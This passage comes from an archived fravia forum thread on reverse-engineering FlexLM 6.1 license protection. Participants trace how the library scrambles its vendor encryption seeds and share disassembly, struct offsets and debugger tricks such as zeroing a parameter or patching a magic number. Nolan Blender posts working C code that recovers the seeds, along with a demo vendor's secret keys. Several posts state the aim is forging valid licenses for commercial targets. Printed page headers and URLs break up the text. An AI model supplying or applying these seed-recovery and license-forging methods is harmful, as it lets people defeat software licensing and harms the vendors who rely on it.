is flexlm's version of global variables - the structure is passed
to and fondled by a lot of functions). This
flag tells l_sg to either behave like l_svk (the old seed routine)
or to call a new function. The flag also indicates a valid address
is in a vector that l_sg will call. Here is a high level flow
of the process:

call lc_new_job {
call ? (l_2bufg maybe) (sets up decryption vector)
call lc_init (l_sg flag not set yet) {
call l_sg {
call l_key
return old style seeds
}
}
set l_sg flag in job struct
}
...
call lc_checkout {
...
call l_sg {
flag set so call decryption vector (l_8indexes in lm_new.obj) {
generate random string by calling time()
store string in job structure
decrypt keys and xor with some of the random bytes

http://www.instinct.org/fravia/revework.htm (2 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

}
}
...
use seeds and random bytes to authenticate the license entry
compare authenticator to one in license entry
...
}

Note lc_new_job is wrapped around lc_init and always sets this l_sg flag.
Another thing to note is the alternate seed generator is not in the library
but in a separate object file lm_new.obj. If you read the documents about
lc_new_job, they make a point that you have to link lm_new.obj if you call
lc_new_job. This threw me off because I guess my target linker located the functions
in lm_new.obj far from the core of flexlm.

An implication of not including lm_new.obj is that maybe globetrotter will change


this module even for the same version of flex. Another reason I suspect this
is that there is a constant in lm_new.obj that my target and the flex distribution
differed by. Maybe this is related to the "patch level". Also, I didn't find
lc_new_job in the .dll which would mean its only supported by static link.

If you run across a target using this, I would sugest breaking on calls to l_sg.
The first call it will not go to the lm_new vector. Subsequent calls to l_sg will go to
lm_new vector. When l_sg returns from the vector it will have decoded the seeds
and xored them with a random 32-bit value. That value is stored in the job structure.
For my target, the random bytes were at offsets 0xb (msb) 0x8 0x13 and 0x9 (lsb) of the
job structure. Combine these 4 bytes into a 32-bit value to xor with the hidden
seeds that are in the vendorcode structure. You still need to call l_svk to get
vendorkey5 or get it from the first call to l_sg.

dan

VoxQuietis to group
Hi Dan,

I am currently struggling through a v6.1 protected target, which incorporates the


lc_new_job routine. As I learned from your post I need to observe the output of
seed generation routine both during lc_init (i.e. when lc_init is started by
lc_new_job) and after that (i.e. when lc_checkout is processing the checksum seeds).

http://www.instinct.org/fravia/revework.htm (3 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

My problem is that I both can't locate lm_new.obj file and I have some problems in
finding the point where the additional seed scrambling information stored /
applied to the encryption seeds.

Thus it would be great, if You could give me the


code snippet, where you observed the
modified seed regeneration.

With respect to the missing lm_new.obj I am somewhat confused, since I have


the understanding, that it would be required for the build of a v6.1 demo application.
The obj-file would allow to generate a test application with known seed code,
which would greatly ease the reverse engineering of the seed code hiding process.

Bye then (and thank you in advance)


VoxQuietis

Dan to group
VoxQuietis,

Finding l_sg in the target:


Easy to find in lc_init. Search for the default seed
check i.e 87654321 and 12345678. The call just before this
should be l_sg.

Finding the vendorcode5 in target (pc version):


Trace through l_sg when called. The first time
will be via lc_init. First it checks that the job
parameter is nonzero. Then you will see that it checks a
pointer in the job parameter, I think offset +53.
So something like mov eax, [esi+53]. Then if that
pointer is nonzero, it will dereference the pointer
to check a bit in offset +141. So maybe a
test [eax+00000141], 80. The code will fail at one
of these points the first time called and will
fall through to the rest of l_sg. The final result
of this is that it will overwrite the vc.data with
the vc.data^vendorcode5. This is where you can recover
vendorcode5. This is the general flow - maybe modified
in your target.

Finding the lm_new routine in target:


Several ways to do this -
Break on calls to l_sg. The first time should be from
lc_init. After that it should be from lc_checkout.

http://www.instinct.org/fravia/revework.htm (4 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

You could also set breaks on lc_init and lc_checkout to


verify the flow of the program. Trace l_sg from the
call in lc_checkout. It should pass the above test
of bit at +141, 80. If it doesn't pass that test, then
your target did not call lc_new job. If it does pass,
it will call the lm_new routine.
Another way to find this routine (dead code) is to locate
time() in your target. Then look for a routine that calls this
a bunch of times in short sucession. Look for a divide
instruction (IDQ?) Can't remember the nemonic. This should
follow the calls to time(). I would recommend
the tracing approach.

Description of the lm_new routine:


1. Random number generation -> job structure
Checks if job parameter is valid. If not, calls
memset and sets up a fake random structure with
I think 0xcc. However job parameter should be
valid. Therefore it will call time() (return in
eax version). It calls this interleaved with
xors and shifts of constants.
2. Generate "checksum" over vendor name.
Uses divide instruction (IDQ?). Don't be confused
its just doing two mods. One is a mod 4. The other
is a mod (strlen(vendorname)). The strlen was called
somewhere in this routine. Tracing this routine will
make it apparent what its doing.
3. Combine above stuff with vc.data and vc.key[1,2]
Handles vc.data[0] first, then vc.data[1]. Uses the
same bytes of random data for both but in an "inobvious"
manner. Will store seeds^random back in vc.data.
4. subtract 5 from some of the random data.
Not sure why.

Regarding missing lm_new.obj:


This is strange because my distribution had lm_new.obj.
I believe you though because on another platform I couln't
find lm_new object either. I think you will find lm_new
code with the above approach, though.

Tell the message bord how it goes...

dan

Pilgrim to group

http://www.instinct.org/fravia/revework.htm (5 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

Yo dan, Vox!

Excellent work.
Are you going to post all this to fravia as a tutorial when it's finished?
I'm busy looking at FlexLm 6.1 too.
Seems globetrotter are learning from fravias pages ;-)

Vox, with reference to lm_new


Looking at the FlexLm 6.1 SDK, for Windoze,
in C:\Program Files\flexlm\v6.1\i86_n3
have a look at the makefile, we see lm_new.obj is made then deleted as part of the make:

lm_new.obj : ..\machind\lsvendor.c lmrand2.obj ..\machind\lm_code.h


lmrand1 -i ..\machind\lsvendor.c
$(CC) $(CFLAGS) $(INCS) /c lmcode.c
$(LD) $(LFLAGS) /out:lmrand2.exe lmcode.obj lmrand2.obj \
$(LIBS) $(CLIBS)
del lm_new.c
lmrand2 -o lm_new.c
$(CC) $(CFLAGS) $(INCS) /c lm_new.c

If I read this correctly it:

compiles lmcode.c to give lmcode.obj


links lmrand2.obj and the new lmcode.obj to give lmrand2.exe
deletes any old lm_new.c
runs lmrand2 to generate new random values in lm_new.c
then compiles lm_new.c to give lm_new.obj

Looking at lm_new.c we see all the time() calls referred to by dan.

With regards finding the routines in the target, I used the FLIRT facility in IDA.
Make your own sig file from the static library, lmgras.lib ( this has a reference to l_sg )
Dissasemble your target, run the signature and you've got all the functions labelled for you.

Keep up the good work,

pilgrim

Dan to group
pilgrim,

I could write a tutorial - I just didn't know if it would

http://www.instinct.org/fravia/revework.htm (6 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

be redundant because I don't know what has been submitted


to fravia's site. I'll write one anyway and sumbit it.

I was going to look more at lmrand1,2. I remember building


and seeing some funny stuff going on. I just didn't investigate
it. That makes more sense than my original theory of globtrotter
giving out different copies of lm_new.obj. I think one possible
way to break this is to exploit lm_new.c. I know that if you
zero out the random string that the function will give you the
right seeds if you have the right "magic" for the checksum. I
think the only thing a cracker would need would
be the constant from the target, put it into a modified lm_new.c,
along with vendorcode and then generate their seeds.
I also think that vendorcode5 is not needed in this case.
I haven't tested it, but I think vc5 could be set to 0 and you
would get the right authenticator. I'm not sure.

With regards to IDA. I have never used it. This FLIRT feature
would have helped a lot. I will have to investigate. I used a
more primitive approach which was probably unnecessary but I learned
a lot in the process.

dan

Nolan Blender to group


I have to admit that I'm a little bit confused about what is going on here.
When I look at the basic lmclient which is supplied with the 6.1 sdk, I
don't see any of my encryption seeds or vendor keys in the executable, so
so far so good. It appears as though lp_checkout calls lc_new_job, which in turn calls the
routine in lm_new. lc_init is later called, however at that time the
corrected data (xored seeds +first 4 vendor codes) are available for examination.

It seems that if you can locate the real lc_init call which is located in
lc_new_job, then you should be able to locate
the required data.
The futzing about that is done
in lm_new appears to be done in order to
prevent wholesale scanning of the executables
in order to extract keys.

Dan to group

http://www.instinct.org/fravia/revework.htm (7 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

nb,

I do not know the details of building a client and have not


persued that path. I have not studied the globetrotter supplied client.
I know that that would be good to do.

It is strange for me have this much information about a target's protection.


APIs, libraries etc.
My target is not necessarily flexlm, but the program that is using
flexlm. There is a subtle difference.

I have studied my target. I know where lc_new_job is called


in my target. It is not called within a checkout routine.
Here is the high level flow of flexlm related calls:

lc_new_job(???) <- called here ONLY


lc_set_attr(job,0x38,"license path")
lc_checkout(feature a...)
lc_checkout(feature b...)
lc_checkout(feature c...)

After reading your reply, I looked at the lm_new routine some more.
If you pass as the first parameter 0, this routine will return the
uncovered seeds without xoring them with random data. However if
the first parameter is job, the routine will return with the
seeds xored with random data. The random data will be stored
in the job at offsets +0xb +0x8 +0x13 and +0x9. Before this
call, those offsets are zero.

Your client must be passing zero as the first parameter to this routine -
if not then something is wrong.

If your client is lmcheckout.c all I see in there is CHECKOUT which


is a macro that calls lp_checkout. This is not the same as my client.
A disassembly of lp_checkout would be interesting...or check of first
parameter to lm_new

When it is called in my target, job is the first parameter. Therefore it xors


with random data. However in both cases, it probably later xors with
those offsets in job because in your case they are zero and in my case
they are the values needed to uncover the seeds.

I have not researched all the calls in the api. But looking at it I don't
see lp_checkout. I see lc_checkout. I would assume people developing would
not use lp_checkout. I don't think my target did.

http://www.instinct.org/fravia/revework.htm (8 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

dan

Q to group
It's really much easier than all that. lc_init still gets called even if lc_new_job is present. And, the call to
lc_init will have the real vendorcodes. At that point, just use l_svk as always. All lc_new_job does is
keep the vendorcodes from showing up as global data.

VoxQuietis to group
Dear Q,

You are definetely right with respect to the


vendor codes. But there remains a little
problem (if I understood correctly what's
going on) and that's the encryption seeds.
These are not needed for lc_init, and the
Globetrotter guys decided to garble them in
order to annoy us.
To me it seems that there are two ways off
retrieving the seeds: First one could investigate
the garbling mechanism. Dan did that, as he
described the double word that is used to Xor
the seeds. Yet the general problem seems to
be unsolved (maybe Dan did it?): How to modify
the Flexlm routines so that they spit out the
real encryption seeds.
A second approach might be to examine the check
of the security string. Remember that Acme told
us, that Flexlm (once) did compare the actual
string from the license file with the expected
one. Hence it should be possible to find out
the differences between the new lc_checkout and
the old one. I briefly scanned that, but it
looks like being a pain due to lengthy spaghetti
code. But I think it is a possible approach.

Best regards
VoxQuietis

Dan to group
http://www.instinct.org/fravia/revework.htm (9 of 26) [2/7/2001 3:29:14 PM]
revework.htm: The flexlm challenge and cooperative reversers' work

Q, Vox,

After reading these replys, I am starting to understand


something. I guess people are building their own clients
from the flexlm sdk and reverse engineering them.

I admit I don't understand the build process of a client.


I have not looked at this so I don't really know how
the seeds are stored in the executable image. I did
not persue that path.

My target was a real application -


not something fabricated by globetrotter. From
what nb says, the default client does some of the
new security by hiding the seeds differently. But
the default client does not appear to do the random
part. This random part basically assures the seeds
are never "in the clear" while the program is executing.

As far as "modifying" the Flexlm routines. As I said


before one way to have the lm_new routine give you the
clear seeds is to zero out its first parameter. If its
first parameter is already zero, then you don't have
a client that uses the "random" security. If it is nonzero
it should point to a "job" structure. Zero out the pointer
on the stack, or where ever it is ($o0 on sparc) and the
routine will give you the seeds.

If you still don't understand what I'm talking about then


thats fine too. Maybe you won't run across a client that
does this. If you never have a problem retrieving the seeds
without using my advice then just ignore what I said.
I did run across the problem and so I'm reporting it.

As far as scanning the authenticator generation, I went


down that path when I was cracking this. I think for
MY client it was in good_lic_key(). It went something like this:

good_lic_key { <- can't remember exact name


...
l_sg() <- here is where seeds are uncovered AND randomized
extract_date()
l_ckout_crypt() <- can't remember exact name
if (l_ckout_crypt failed) jump to error -8
...

http://www.instinct.org/fravia/revework.htm (10 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

This l_sg call will call the lm_new routine.


The "l_ckout_crypt" was where the seeds from l_sg were used to generate
and compare the authenticator. good_lic_key was called from somewhere
in the path of lc_checkout. Names might not be right due to me forgetting.

As I said before this is MY targets behavior. I would not be surprised


if flexlm behaved differently for YOUR client.

dan

VoxQuietis to group
Dear Dan,

first of all my compliments to Your great work on Flexlm v6.1. I followed the discussion
between You and Nolan from the beginning, having a certain feeling, that You were working
in a direction, that would help me in my actual license generation problem. I'm now
working on that for a couple of weeks, and first I thought, there were some troubles with
some attributes I didn't set correctly while using lc_crypt / lmcrypt.
But then I suddenly realized, that I have been misleaded by the randomization trick
of Globetrotter, that You first described.
Once I read the Flexlm v6.0 documentation very carefully, yet I didn't do that with the
v6.1. Indeed I downloaded the v6.1 SDK just a couple of days ago, being convinced that
v6.0 would be sufficient to generate working licenses (I think that still, but I am no
longer fully convinced on that).
According Your remarks I found the random bytes in the job memory. I do agree to your findings,
i.e. bytes 0xb:0x8:0x13:0x9 form a word, which leads to constand values when Xored on to the
randomized seeds.
Yet I am still failing in generating a working license for my target.
Having no other possibility to understand what's going on I might be forced to build an
app using the Flexlm SDK, in order to understand the relation between the randomized seeds and
real seeds.

I would also like to stress, that my target delivers one set of seeds for the first
lc_init call and a different set after the derandomizing. No need to say that apparently
both seeds aren't the correct ones. (When
setting the first parameter to zero I get the
seeds of the first lc_init call, the one
I figured out weeks ago)

I will continue to examine my target. It might be possible to build a demo app with the keys
and seeds I know. And finally it might be necessary to code a brute force attack,

http://www.instinct.org/fravia/revework.htm (11 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

which is feasible, since there are 32 unknown bits, only. I will post (possible) results on
this messageboard.

Bye then and best regards


VoxQuietis

The function resulting from lmrand implements two working modes:


one with randomization of the seeds and one without. Within the
disassembly this looks like the following

;head of function
:004D9FB3 55 push ebp
...
compute and store lenght of vendor string
...
:004D9FCF 8B4508 mov eax, dword ptr [ebp+08] ; lm_job memory space
...
:004D9FE6 85C0 test eax, eax
:004D9FE8 0F8485010000 je 004DA173 ; jump to clear seed code regeneration

; start of spaghetti like randomization


:004D9FEE 8D5E04 lea ebx, dword ptr [esi+04]
:004D9FF1 57 push edi
:004D9FF2 E8D93AFDFF call 004ADAD0
:004D9FF7 83C404 add esp, 00000004
...
:004DA171 EB10 jmp 004DA183

;head of clear seed regeneration


:004DA173 6A0C push 0000000C
:004DA175 8D45EC lea eax, dword ptr [ebp-14]
:004DA178 6A00 push 00000000
:004DA17A 50 push eax
:004DA17B E8D04CFDFF call 004AEE50
:004DA180 83C40C add esp, 0000000C

;head of checksum over vendor code - randomized function jumps in here


;this checksum is required for the seed recovery -> compare to lc_init!
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004DA171(U)
|
:004DA183 33FF xor edi, edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

http://www.instinct.org/fravia/revework.htm (12 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

|:004DA1B1(C)
|
:004DA185 8BC7 mov eax, edi
:004DA187 99 cdq
:004DA188 F77DF8 idiv [ebp-08] ; modulo operations (described by Dan)
...
now follows the regneration of the seeds (with or without randomization)

Interesting question is the role of the magic numbers corresponding


the seed recovery. I changed magic number a8f38730 to 5e2f5b24, which resulted in the correct seed
generation even within lc_init (just before
the comparison with 87654321 and 12345678). Maybe You guys could check,
whether this trick works for your targets, too? (Think this would speed
up the fishing of the codes for unkown targets)

Bye then
VoxQuietis

Dan to group
group,

I have a possible explanation of why there is a descrepancy


in behavior of lc_new_job. It has to do with the behavior
of lmrand2.

Try this:
use the v6 blenderd lm_code.h.
delete lm_new.obj
make lm_new.obj
now look at lm_new.c. Ok you might have done this already.
Now edit lm_code.h.
Change vkeys to "invalid" value. I changed vk1 lsb from 4 to 5.
Now delete lm_new.obj and make lm_new.obj. Now edit lm_new.c.

What does this show? lmrand2 is looking at the keys for more than
just to obfuscate them. In this case, it probably failed a checksum
so generated this code. However, I also compared the output of lmrand2
with the blenderd keys to output of lmrand using my targets keys and
there are some differences not due to "randomization".

It looks like the blenderd keys are "randomizing" the data but I haven't
compiled lm_new.c from this output.

http://www.instinct.org/fravia/revework.htm (13 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

Maybe I'm wrong - just a suggestion...

dan

Dan to group
VoxQuietis,

It is helpful to examine lm_new.c as to make


sense of these two "working modes" you describe.

When you "make lm_new.obj" with your target's lm_code.h,


you get a lm_new.c that is similar to - but not
exactly like what your target used.

This lm_new.c is compiled into what your disassembly


showed. You will indeed see the two "%" mod signs
in the c code.

The two working modes are actually called in different


places from what I understand. One function is called in
lc_new_job to form the initial vendor code structure and vname.
The other function is the one I described under l_sg.

You can actually modify lm_new.c to test out these functions.


You will see the first function "unpackages" the vc and vname.
If you then call the next function with a first param
of 0, you will see vc.data becomes your original seeds.

However, this does not show the exact magic that the target
is using, which is necessary as these functions are a
"matched pair".

Also, part of the confusion is that there are two l_n36_buf (forgot
exact name) pointers.

dan

Nolan Blender to group


I've done some experimentation and here's some code that may

http://www.instinct.org/fravia/revework.htm (14 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

be helpful in analysing how lm_new works.

First, as a baseline, here is the information for blenderd, so that


everyone knows what the secret values should be.

#define ENCRYPTION_SEED1 0xae37b151


#define ENCRYPTION_SEED2 0x6fde7999
#define VENDOR_KEY1 0xc450f9f4
#define VENDOR_KEY2 0x4d12be88
#define VENDOR_KEY3 0xf52bcf4d
#define VENDOR_KEY4 0x3309994c
#define VENDOR_KEY5 0xaefa9027
#define VENDOR_NAME "blenderd"

Link this program against lm_new.c and it will be clear what


is happening.

#include

/* Supposedly these would be secret values */

#define BLENDER_VENDOR_KEY5 0xaefa9027

#define ENCRYPTION_SEED1 0xae37b151


#define ENCRYPTION_SEED2 0x6fde7999

/* function that we get from lm_new.c */


extern int (*l_n36_buf)();

/* function pointer that will be set later. */


void (*l_n36_buff)();

void main(int argc, char *argv)


{
int retcode;
int i;
int magic_xor_value;

/*
* union for testing what we get back
*/

union

http://www.instinct.org/fravia/revework.htm (15 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

{
char charbuf[1024];
int intbuf[256];
} myunion;
char myvendorname[1024];

/*
* structure to demonstrate use if valid job passed in.
*/
struct s_tmp
{
int i;
char *cp;
unsigned char a[12];
} myjob;

/*
* Clear buffer so we know that changes are due to lm_new
*/

for (i = 0; i < 256; i++)


{
myunion.intbuf[i] = 0;
}

/*
* for this exercise, myjob really doesn't matter.
*/
myjob.i = 66;

/*
* PART 1:
* Null call initializes values inside lm_new
*/

printf ("Part 1: Null pass to decode routine\n");


retcode = (*l_n36_buf)(0, myunion.charbuf);
if (retcode != 0)
{
printf ("Problem with first call to lm_new initializer.\n");
printf ("retcode = %d\n", retcode);
return;
}

/*

http://www.instinct.org/fravia/revework.htm (16 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

* This one retrieves the secret keys


*/
retcode = (*l_n36_buf)(myvendorname, myunion.charbuf);
if (retcode != 1)
{
printf ("Problem with second call to lm_new.\n");
printf ("retcode = %d\n", retcode);
return;
}

printf ("myvendorname: %s\n", myvendorname);


for (i = 0; i < 10; i++)
{
printf ("before intbuf[%d] = %08x\n", i, myunion.intbuf[i]);
}

/*
* Test with 0 job for extracting key only
*/

(*l_n36_buff)(0, myvendorname, myunion.charbuf);

printf ("\n");
for (i = 0; i < 10; i++)
{
printf ("after intbuf[%d] = %08x\n", i, myunion.intbuf[i]);
}

/* Check encryption seed 1 */


if (myunion.intbuf[1] == BLENDER_VENDOR_KEY5 ^ ENCRYPTION_SEED1)
{
printf ("Encryption seed1 OK: %08x\n", myunion.intbuf[1]);
}
else
{
printf ("Incorrect Encryption seed1 is: %08x should be: %08x\n",
myunion.intbuf[1]^BLENDER_VENDOR_KEY5, ENCRYPTION_SEED1);
}

/* Check encryption seed 2 */


if (myunion.intbuf[2] == BLENDER_VENDOR_KEY5 ^ ENCRYPTION_SEED2)
{
printf ("Encryption seed2 OK: %08x\n", myunion.intbuf[2]);
}
else
{

http://www.instinct.org/fravia/revework.htm (17 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

printf ("Incorrect Encryption seed2 is: %08x should be: %08x\n",


myunion.intbuf[2]^BLENDER_VENDOR_KEY5, ENCRYPTION_SEED2);
}

/*
* PART 2:
* Simulation of what might happen in real
* program for key recovery.
*/

retcode = (*l_n36_buf)(0, myunion.charbuf);


if (retcode != 0)
{
printf ("Problem with first call to lm_new initializer.\n");
printf ("retcode = %d\n", retcode);
return;
}

/*
* This one retrieves the secret keys
*/
retcode = (*l_n36_buf)(myvendorname, myunion.charbuf);
if (retcode != 1)
{
printf ("Problem with second call to lm_new.\n");
printf ("retcode = %d\n", retcode);
return;
}

/*
* Now call with an actual job, so highly secret data
* is stored with the job.
*/
(*l_n36_buff)(&myjob, myvendorname, myunion.charbuf);

printf ("\n");
for (i = 0; i < 10; i++)
{
printf ("(with job) after intbuf[%d] = %08x\n", i, myunion.intbuf[i]);
}

/*
* extract the xoring value for the job now.
*/

magic_xor_value = ((long)(myjob.a[5]) << 0)

http://www.instinct.org/fravia/revework.htm (18 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

| ((long)(myjob.a[0]) << 8)
| ((long)(myjob.a[1]) << 16)
| ((long)(myjob.a[4]) << 24);
printf ("Magic xor value: %08x\n", magic_xor_value);

/*
* now fix the values in the array.
*/
myunion.intbuf[0] = myunion.intbuf[0] ^ magic_xor_value;
myunion.intbuf[1] = myunion.intbuf[1] ^ magic_xor_value;

/* Check encryption seed 1 */


if (myunion.intbuf[1] == BLENDER_VENDOR_KEY5 ^ ENCRYPTION_SEED1)
{
printf ("Encryption seed1 OK: %08x\n", myunion.intbuf[1]);
}
else
{
printf ("Incorrect Encryption seed1 is: %08x should be: %08x\n",
myunion.intbuf[1]^BLENDER_VENDOR_KEY5, ENCRYPTION_SEED1);
}

/* Check encryption seed 2 */


if (myunion.intbuf[2] == BLENDER_VENDOR_KEY5 ^ ENCRYPTION_SEED2)
{
printf ("Encryption seed2 OK: %08x\n", myunion.intbuf[2]);
}
else
{
printf ("Incorrect Encryption seed2 is: %08x should be: %08x\n",
myunion.intbuf[2]^BLENDER_VENDOR_KEY5, ENCRYPTION_SEED2);
}

return;
}

I've only tested this on a unix machine, if it doesn't work on a Windows machine,
tell me.

I also looked at the routines in lm_new, and you can strip a lot of useless
junk out of that file. After all the goo was removed, this is all that
remained. I linked against this code, and everything seemed to work as
before. Perhaps this was to discourage object debuggers from figuring out
what was going on.

http://www.instinct.org/fravia/revework.htm (19 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

#include "lmclient.h"
#include
#include

/*
* Only variables that seem to do anything.
*/

static char l_var_173 = 0;


static int l_208func = 136;
static char l_buf_155 = 110;
static int l_192index = 19;
static int l_buff_203 = 80;
static char l_func_153 = 101;
static int l_registers_177 = 136;
static int l_232var = 153;
static int l_216registers = 18;
static unsigned char l_96buff = 36;
static char l_166var = 100;
static char l_counter_249 = 48;
static int l_234reg = 9;
static char l_146ctr = 98;
static int l_220var = 77;
static int l_236ctr = 51;
static char l_buff_257 = 0;
static char l_ctr_163 = 114;
static int l_196bufg = 30;
static int l_index_201 = 244;
static char l_172ctr = 0;
static int l_186indexes = 160;
static int l_buf_179 = 219;
static int l_224buff = 207;
static char l_254buf = 48;
static int l_198indexes = 97;
static char l_ctr_159 = 100;
static char l_buff_169 = 0;
static int l_ctr_189 = 64;
static int l_idx_245 = 1;
static int l_var_241 = 6;
static int l_202index = 249;
static int l_bufg_227 = 245;
static int l_idx_221 = 77;
static char l_func_161 = 101;
static int l_reg_183 = 247;
static int l_248buf = 103;

http://www.instinct.org/fravia/revework.htm (20 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

static int l_func_205 = 196;


static char l_buf_149 = 108;
static char l_counter_253 = 46;
static int l_counter_225 = 43;
static int l_counter_237 = 4;
static char l_buf_251 = 54;
static int l_228counter = 76;
static int l_212index = 190;

static
void
l_ctr_11(job, vendor_id, key)
LM_HANDLE *job;
char *vendor_id;
VENDORCODE *key;
{
unsigned long *keys;
unsigned long signature;
#define SIGSIZE 4
char sig[SIGSIZE];
unsigned long x = 0x87822e5a;
int i = SIGSIZE-1;
int len = strlen(vendor_id);
long ret = 0;
struct s_tmp { int i; char *cp; unsigned char a[12]; } *t, t2;

sig[0] = sig[1] = sig[2] = sig[3] = 0;

if (job) t = (struct s_tmp *)job;


else t = &t2;
if (job)
{
t->a[0] = (time(0) & 0xff) ^ 0x2e;
t->a[4] = (time(0) & 0xff) ^ 0x68;
t->a[5] = (time(0) & 0xff) ^ 0x0;
t->a[1] = (time(0) & 0xff) ^ 0x97;
}
else
{
memset(t2.a, 0, sizeof(t2.a));
}

for (i = 0; i < 10; i++)


{
if (sig[i%SIGSIZE] != vendor_id[i%len])
sig[i%SIGSIZE] ^= vendor_id[i%len];

http://www.instinct.org/fravia/revework.htm (21 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

}
key->data[0] ^=
(((((long)sig[0] << 3)|
((long)sig[1] << 1) |
((long)sig[2] << 0) |
((long)sig[3] << 2))
^ ((long)(t->a[5]) << 0)
^ ((long)(t->a[0]) << 8)
^x
^ ((long)(t->a[1]) << 16)
^ ((long)(t->a[4]) << 24)
^ key->keys[1]
^ key->keys[0]) & 0xffffffff) ;
key->data[1] ^=
(((((long)sig[0] << 3)|
((long)sig[1] << 1) |
((long)sig[2] << 0) |
((long)sig[3] << 2))
^ ((long)(t->a[5]) << 0)
^ ((long)(t->a[0]) << 8)
^x
^ ((long)(t->a[1]) << 16)
^ ((long)(t->a[4]) << 24)
^ key->keys[1]
^ key->keys[0]) & 0xffffffff);
t->cp -= 0;
}
static
int
l_4ctr(buf, v)
char *buf;
VENDORCODE *v;
{
static int l_8var;
extern void (*l_n36_buff)();
if (!buf)
{
l_8var = 0;
return 0;
}
if (l_8var >= 1) return 0;
if (!l_n36_buff) l_n36_buff = l_ctr_11;

memset(v, 0, sizeof(VENDORCODE));
v->keys[1] += (l_220var << 24);
v->data[1] += (l_ctr_189 << 0);

http://www.instinct.org/fravia/revework.htm (22 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

v->behavior_ver[3] = l_254buf;
v->data[0] += (l_reg_183 << 16);
v->keys[2] += (l_bufg_227 << 24);
v->behavior_ver[2] = l_counter_253;
buf[1] = l_buf_149;
v->type = (short)(l_counter_237 & 0xffff) ;
v->keys[0] += (l_index_201 << 0);
v->data[0] += (l_registers_177 << 0);
v->behavior_ver[4] = l_buff_257;
v->keys[3] += (l_228counter << 0);
v->keys[2] += (l_counter_225 << 16);
v->keys[0] += (l_func_205 << 24);
buf[4] = l_ctr_159;
v->data[0] += (l_186indexes << 24);
v->keys[2] += (l_224buff << 8);
v->flexlm_version = (short)(l_var_241 & 0xffff) ;
v->keys[1] += (l_212index << 8);
v->data[1] += (l_192index << 8);
v->flexlm_patch[0] = l_248buf;
v->keys[3] += (l_232var << 8);
v->data[0] += (l_buf_179 << 8);
buf[7] = l_166var;
v->keys[0] += (l_202index << 8);
buf[3] = l_buf_155;
buf[8] = l_buff_169;
v->keys[1] += (l_216registers << 16);
v->keys[1] += (l_208func << 0);
v->data[1] += (l_196bufg << 16);
buf[9] = l_172ctr;
v->keys[0] += (l_buff_203 << 16);
v->data[1] += (l_198indexes << 24);
v->keys[3] += (l_236ctr << 24);
buf[5] = l_func_161;
v->keys[2] += (l_idx_221 << 0);
v->behavior_ver[1] = l_buf_251;
v->behavior_ver[0] = l_counter_249;
buf[2] = l_func_153;
v->keys[3] += (l_234reg << 16);
buf[0] = l_146ctr;
buf[10] = l_var_173;
v->flexlm_revision = (short)(l_idx_245 & 0xffff) ;
buf[6] = l_ctr_163;
++l_8var;
return 1;
}
int (*l_n36_buf)() = l_4ctr;

http://www.instinct.org/fravia/revework.htm (23 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

Dan to group
nb,

This program worked but also illustrated some of the descrepancies


that I am talking about. One is that I did not need vendorkey5
at all to recover my seeds. And the target did not use vendorkey5
either. Another is the calling order/parameters of the two routines
in lm_new. From what I saw, the function performed to recover the
seeds did not use enough info to even have a derivative of vk5.
I am not certain.

Your routine seems to call the "decode routine" first with a null.
My target does not. It calls the decode routine like this:
lc_new_job {
char name[50];
VENDORCODE vx;
memset(&vx, 0, sizeof(VENDORCODE));
ret= l_counters_1(name, &vx); <- first call to decode routine
ret= l_counters_1(0,0); <- second call to decode routine
call lc_init
set alt encryption flag
return
}

Then to recover the seeds a call like this could be made


(setting job to 0 gives clear seeds - not seeds ^ vk5)

LM_HANDLE job;
memset(&job, 0, sizeof(LM_HANDLE));
if (random call) l_8reg(&job, name, &vx); <- gives clear seeds xor random
else l_8reg((int) 0, name, &vx); <- gives clear seeds

There are exactly 3 calls to lm_new related routines - the two in lc_new_job
to the decode routine. And the one under l_sg to the decrypt routine.
There is no need at any point to use vk5.

If I am interpreting your code correctly - you are emulating how


the calls are done in your client. It seems depending on how you
use the api that it uses lm_new.c differently. I am not sure.

dan

http://www.instinct.org/fravia/revework.htm (24 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

Nolan Blender to group


The program I posted doesn't really use
vendorcode5 either - it's just there to demonstrate
correctness of the decoded keys. The calling
sequence which you describe earlier is what I
see as well - my call is at l_sg+005c where
it calls the decryption The second part of
the code is where some emulation of what happens
in the normal initialization routine is done.

The code isn't an emulation of what happens in


the flexlm clients - just an example of how the
code could be used.

The part about the invalid checksum generating


different lm_new.c files is interesting - I checked
the program with keys which had valid checksums
but were invalid for other reasons, and I got
the same result you did with the munged keys.

Your point about vendorkey5 not being required is


a good one though - I had included it to show
the correctness of the keys and to close the
